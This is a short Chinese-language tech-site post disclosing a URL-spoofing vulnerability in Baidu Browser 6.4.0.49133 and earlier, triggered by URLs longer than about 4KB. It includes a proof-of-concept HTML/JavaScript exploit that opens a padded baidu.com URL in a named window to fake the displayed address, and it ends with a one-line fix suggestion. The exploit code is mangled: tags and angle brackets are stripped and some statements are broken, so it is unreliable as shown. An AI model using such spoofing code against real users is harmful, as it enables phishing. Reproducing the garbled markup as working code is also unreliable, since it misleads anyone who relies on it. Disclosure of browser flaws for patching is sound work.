浏览器漏洞 百度浏览器6.4.0.49133 伪造任意网址

番茄系统家园 · 2022-03-16 01:10:40

  百度浏览器近期发现漏洞,百度浏览器6.4.0.49133以及以前版本伪造任意网址漏洞,伪造任意协议(http/https/ftp...)、域名、网址URL长度大于4KB时处理出错,例如将证明文件保存为c:\a.htm并打开,点击连接后可以伪造任意网址。

  同时URL过长的时候,会显示“已收藏”图标,估计是处理过长url时逻辑有点小问题漏洞证明:

复制代码代码如下:  html
  div id='c' #" target="newwin" id='v' onclick="invokePoC();window.open('javascript:1;','newwin');"just click me/a
  script
  function invokePoC() {
  wx = open("http://www.baidu.com/account/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/p AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
","newwin");//setInterval("doit()",5000);
  }
  if(window.name == "newwin")
  {
  document.getElementById('c').innerText = ':). due to an internal error(>10Kbytes url), the fav icon will be shown. if you just want the shortest url, just make it for about 4KB';document.write("

:)

");
  document.getElementById('v').style.display = 'none';}
  
  

  修复方案:

  无效URL及时过滤,以防止伪造网址,谢谢阅读,希望能帮到大家,请继续关注,我们会努力分享更多优秀的文章。

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